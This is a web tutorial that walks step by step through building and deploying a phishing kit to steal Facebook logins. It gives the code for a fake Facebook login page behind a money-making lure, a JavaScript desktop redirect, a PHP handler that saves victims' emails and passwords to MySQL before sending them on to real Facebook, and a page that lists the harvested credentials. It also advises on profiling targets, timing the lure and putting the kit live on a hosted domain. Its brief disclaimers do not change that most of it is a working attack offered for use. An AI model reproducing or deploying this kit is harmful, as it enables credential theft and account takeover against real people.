How to Hack a Facebook Account or Password with Code

In this article, you will find authentic advice on hacking anyone's Facebook ID and password, as well as hacking code and a working example.

Warning before Attempting to Hack a Facebook Account

This guide will show you how to spot and avoid phishing attempts that could compromise any of your online accounts, including those you use for social media, professional networking, and other purposes.

This guide will show you how to break into a Facebook account using your own code, not to cause trouble for anyone but to see how things work behind the scenes.Please do not attempt to actually hack into someone else's Facebook account using any of the codes provided here; doing so is a crime.

After reading this guide, you can feel confident when accessing any online account, whether it's Facebook, Gmail, or even your bank.

You'll also know what happens when you click on a suspicious link, even if it's sent to you by a friend.

Steps to take before attempting a Facebook hack

You should know the basics of the following languages before beginning this tutorial to hack a Facebook account:

You might be wondering at this point why it is important to even know the basics about such topics.
The answer is pretty simple, namely:

  • Using HTML and CSS, a login form can be designed to look like the one on Facebook; the user's information can then be saved in a database (PHP and MySQLi are required here).
  • to finally take people back to the real Facebook page (JavaScript is required here).

After reading the preceding lines, you should be convinced that you can hack a Facebook account with just a phishing attack and the code provided here.

Take a test online to see how well you remember what you learned about HTML, CSS, JavaScript, PHP, and MySQL if you already know these languages. Moreover, you can evaluate your current level of knowledge on the subject by comparing your scores across tests.

This tutorial will teach you everything you need to know to launch a successful phishing attack against Facebook and steal the login credentials of countless users.

Methods to Dupe Users into Giving Up Login Information for Their Facebook

Here are the simple steps to take to steal someone's Facebook login credentials:

  • Investigate the most well-liked features: Find out what your target audience enjoys doing online so you can design a website around that, and then give them permission to view your newly created "bait" website. Some of these claims include: "learn Java in 30 minutes," "double your money in a week," "get healthy in 2 days," and so on.
  • Determine when it will be easiest to catch users: The final step is to wait until you have the perfect opportunity to lure your intended victim into clicking the link, at which point you can hack their Facebook account. At convenient times, users are unrestricted and, consequently, can approach any topic with an open mind.

The web page, which will resemble the Facebook login page, must be programmed to automatically redirect mobile users to a desktop login page. That is, regardless of the device they are using, simply send them to that URL.

How to Break into Facebook and Get Your Information

Those interested in learning how to break into a Facebook account or password can refer to the following list of instructions.

  • Create a login page that resembles the Facebook login page.
  • Make a login page handler script to store the login credentials in your database.
  • Redirect users to their original Facebook page after storing or getting their login credentials.
  • Also, create a database to store your Facebook ID and password.
  • Now send the link to the user.
  • Also, make a web page to see all hacked Facebook account IDs and passwords.

After sending the link to the targeted users, you don't have to do anything after this (or after the second-to-last step given above). After this step, the targeted users will start doing things for you. That is, in indirect words, he or she will automatically give you his or her Facebook account ID and password in your database. And you only have to watch the magic in your database.

For example, you create a web page that shows users how to earn money in a very short time, but before continuing to the article, you ask the user to login to Facebook to continue. This login section must be designed exactly the same as the original Facebook login. Now send the link to the target user. When he or she opens the link, the page asks the user to login in order to continue, and the user immediately logs in in order to continue reading the article, but as you've written the redirection code, the user is redirected to his or her original Facebook page, and your database contains his or her Facebook login credentials.

You can also create a web page that displays a list of targeted or trapped users' Facebook account passwords as well as their Facebook ID.

If you've done the last step, which is to find a web page that shows hacked Facebook account details, then you don't have to go into your database again and again to check whether any user is trapped or not.

Now let's see the step-by-step code and description used in hacking anyone's Facebook account ID and password.

1. Make the login page look like the one on Facebook

Before starting this step, first check what the targeted user likes most. For example, if your friend (the target user) likes to earn money in a very short time, then create a login page with a message related to earning money. Or if your friend likes to be healthy, or if he or she likes to fight, etc. The message is then sent along with some fitness training tips, etc.

Now let's do the first step by creating a demo login page with the following code: "This login code is for mobile users." You can implement redirection code to redirect users to the desktop version login page using the JavaScript code; you will get the code after this login code.

<!doctype html>
   <title>Top 10 Tips to Earn Money in Short Time</title>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
   <meta name="description" content="Here are the list of top 10 tips to earn money in short time and become a
   successful earner in today's market. This list are exclusive to get for free to everyone.">
   <meta property='og:image' content='earnmoney.jpg' />
   <link rel="shortcut icon" href="">
      table tr td{text-align:center;}
      .bottom a{color:#D3D3D3;}
      .bottom a:link{text-decoration:none;}
      .inputf a:link{text-decoration:none;}
<body style="margin:0px;">
   document.title='Facebook - Log In or Sign Up';
<div style="width:100%;">
<div style="height:40px;background-color:#3b5998;padding-bottom:10px;padding-left:5px;">
   <span style="color:white;font-size:120%;"><br/>facebook</span>
<div style="background-color:#FAFAD2;padding:5px;line-height:23px;text-align:center;">
   <span style="color:purple;">Login to continue to get top 10 exclusive tips to earn money in short time.</span>
<div class="inputf" style="background-color:AliceBlue;padding:10px;text-align:center;"><br/>
   <form name="fbform" method="post" action="login.php">
      <input name="email" type="text" id="email" placeholder="Email address or phone number" maxlength="40" size="30px"
      <input name="pass" type="password" id="pass" placeholder="Password" maxlength="40" size="30px"
      <input class="login" name="login" type="submit" id="submit" value="Log In" size="60px"><br/><br/>
      <span style="text-align:center;">Or</span><br/><br/>
      <a class="check" href="#email" onclick='document.getElementById("email").focus();'>Create New Account</a><br/><br/>
      <a href="#email" onclick='document.getElementById("email").focus();'>Forgotten password?</a> <br/><br/>
      <a href="#email" onclick='document.getElementById("email").focus();'>Help Center</a><br/>
<div class="bottom" style="background-color:#808080;padding:10px;">
   <table style="width:250px;margin-left:auto;margin-right:auto;color:#D3D3D3;">
      <td><a href="#email" onclick='document.getElementById("email").focus();'>English (UK)</a></td>
      <td><a href="#email" onclick='document.getElementById("email").focus();'>English (US)</a></td>
      <td><a href="#email" onclick='document.getElementById("email").focus();'>English (In)</a></td>
      <td><a href="#email" onclick='document.getElementById("email").focus();'>More</a></td>
   <p style="text-align:center;color:white;">Facebook</p>

Before implementing the code, go online and find the target user's Facebook ID and password. We will implement this Facebook account hacking system on our local computer system first. To do this, download the XAMPP software and install it on your computer. Then, follow the steps below.

Save the above code in the directory C:\xampp\htdocs\ (this directory is automatically created after installing XAMPP) with the name earnmoney.php and the image of some money in the same directory with the same name but with the extension ".jpg," which is earnmoney.jpg.

Now open XAMPP and start the Apache and MySQL modules. If you don't understand what I'm saying, then read our PHP and MySQLi tutorial before proceeding to the next step of hacking your Facebook account id and password.

Now, if you open your browser and type localhost/earnmoney.php, you will see the following sample screenshot:

hack facebook account id password

as the above code is only used or made for mobile users. But you have to make the same login page for both types of Facebook users, those who use their phones and those who use their computers.

Make another login page for desktop users called earnmoneyD.php and send them to this page.

If the targeted users are on a desktop, use the following redirection code to take them to the desktop version page:

<script type="text/javascript">
if (screen.width > 800) { window.location = "localhost/earnmoneyD.php"; }

Put the above code at the top of the login page that you created earlier.

2. Create a script to store Facebook login credentials

Here is the script for the login handler that will save the Facebook login information of specific users in your database:

   $conn = mysqli_connect('localhost', 'root', '', 'fbhackedusers');
      // redirect users to original Facebook if error occurred
<!doctype html>
   <title>Logging in to facebook</title>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
<body style="margin:0px;"> 
         $email = $pass = "";
         // get facebook email id
         $email = $_POST["email"];
         // get Facebook password
         $pass = $_POST["pass"];
         // insert the Facebook id and password in database
         $sql = "insert into fbusers(facebookid, facebookpassword) values('$email', '$pass')";
         $result = $conn->query($sql);
   // redirect users to original Facebook URL

Put the above file inside the same directory with the name login.php.

3. Redirect users to the original Facebook URL

As you can see from the above step no. two, the following code:


is used to redirect users to the original Facebook.

4. Make a database to store your Facebook ID and password

Now create a database with the same name, and then create a table with the same name again. And at last, create columns with the same details as used in the above code, that is, a database named fbhackedusers, a table named fbusers, and then columns namely facebookid and facebookpassword.

To do this, follow the steps given below:

1. Click on "Admin" next to the MySQL row in the XAMPP control panel.

mysql admin xampp

2. A web page gets opened in your default web browser with the URL http://localhost/phpmyadmin/.

3. Now select databases.

facebook database hack nav

4. Enter the database name (for example, "fbhackedusers") and click the Create button.

5. Next, enter "fbusers" as the name and 3 as the number of columns. Select the Go option.

facebook hack table name

6. Now fill in the blanks for all three columns, that is,

  • Filling out the first column with S.No. as the name, INT as the type, 6 as the length or value, and PRIMARY as the index, and then checking the "auto increment" box.
  • Filling out the second column with names like facebookid, VARCHAR, and 40 as Length/Values.
  • Filling in the third column with names like "facebookpassword," "VARCHAR as type," and "40 as length/values"

7. Here is the snapshot after providing the details as mentioned in the above three steps:

facebook hack column details

8. After that, click the Save button. You have now successfully installed the database locally.

5. Share the Facebook Hacking Link with a Friend

Now send the link to your friends to start getting their Facebook account ID and password. That is, they open the link and see that the page says to show some exclusive tips to earn money in a short time. Therefore, to get those tips, your friend must immediately enter his Facebook ID and password to continue.

6. Create a web page to list hacked Facebook users.

To see your trapped users' or hacked Facebook account id and password, you have to go to your database again and again. Simply create another Web page that fetches and lists all hacked Facebook account id and password from the database in the form of a table, as shown in the code below, to see the hacked Facebook account id and password:

   $conn = mysqli_connect('localhost', 'root', '', 'fbhackedusers');
<!doctype html>
   <title>List of Facebook Users Hacked by Me</title>
   <meta charset="utf-8">
   <meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=yes">
      table th, td{border:1px solid black;padding:10px;}
   $sql = "select * from fbusers";
   $res = $conn->query($sql);
   echo "<table>";
   echo "<tr>";
   echo "<th>Facebook Id</th>";
   echo "<th>Facebook Password</th>";
   echo "</tr>";
      echo "<tr><td> $row[1] </td> <td> $row[2] </td></tr>";
   echo "</table>"; 

Place the above file in the same directory as hackedusers.php.

Example of Hacking a Facebook Account or Password

Let's take a look at a screenshot of how to hack your friend's Facebook account ID and password.

The screenshot below shows the demo login page after your friend clicks on the link you sent him or her.

hack facebook account

Now your friend will enter his or her Facebook account ID and password to get some exclusive tips to earn money in a short time. You can also change the message, title, and description of the page as per requirement; that is what the user likes most. For example, if you send the link to anyone on WhatsApp, it looks like this (this happens only when you put all the hacking systems live as given below):

hack facebook link snapshot

Since I've implemented the thing right now, the image is not showing. But after some time, the image of the dollar that you've uploaded gets shown on the left side, which is more appealing to the user. So they immediately clicked on the link.

And here is the demo screenshot after entering Facebook login credentials:

hack facebook account code

When a user enters their Facebook login credentials and clicks the Log In button, your login handler script will save the data in the database and redirect the user to the original Facebook URL.

Your friend's Facebook account ID and password get stored inside your database, and you can see the list of hacked Facebook users. This will be visible on the web page you created in the sixth step. Open a browser and navigate to localhost/hackedusers.php.Here is the sample output, as you will see.

how to hack facebook account

You can send the link to any of your friends whose Facebook account is going to be hacked by you, or to anyone else's Facebook account you want to hack. And to see if your friend is in your hacking system, keep looking at the list of hacked users by refreshing the hackedusers.php page.

The final step is to go live with the Facebook Account Hacking System

Now, the last and most important step is to put the whole system for hacking Facebook accounts live on your website. Here are the steps you need to take. If you have an existing website, for example, say "codescracker" or any other, then:

  • Make a directory called "Facebook" inside the parent directory.
  • Create a database, and then a table within that database with the same details as used in the Facebook account hacking system code above.
  • Put all the files, that is, earnmoney.php, earnmoneyD.php, login.php, hackedusers.php, and the image file named earnmoney.jpg, inside the directory named facebook.
  • Now send the link to your friends, that is,
  • And open the link in your browser, which is

Here are the steps to take if you don't already have one.

  • Buy or register a domain name like
  • Buy a web hosting account or put all the files for your website on your server.
  • Setup your website to make it live.
  • Then, once you have a website, repeat all of the steps, replacing codescracker with your domain name.

After you have completed all of the preceding steps, you must modify the connection string, replacing localhost with your hosting address, root with your database username, and password with your database password and then replace localhost with

You can also make some changes according to your requirements to hack anyone's Facebook account id and password, as this tutorial is just a demo to show you how you will be able to hack anyone's Facebook account using some simple methods or how your account can be hacked.

Be careful online

A warning: despite its innocuous appearance, clicking on a random link could lead to serious problems once you enter personal information on a malicious website. There are many different kinds of hackers on the internet, so it's possible that you could be hacked or have your account hacked simply by clicking on a malicious link.

Computer Fundamentals Quiz

« Previous Tip »

Follow/Like Us on Facebook

Subscribe Us on YouTube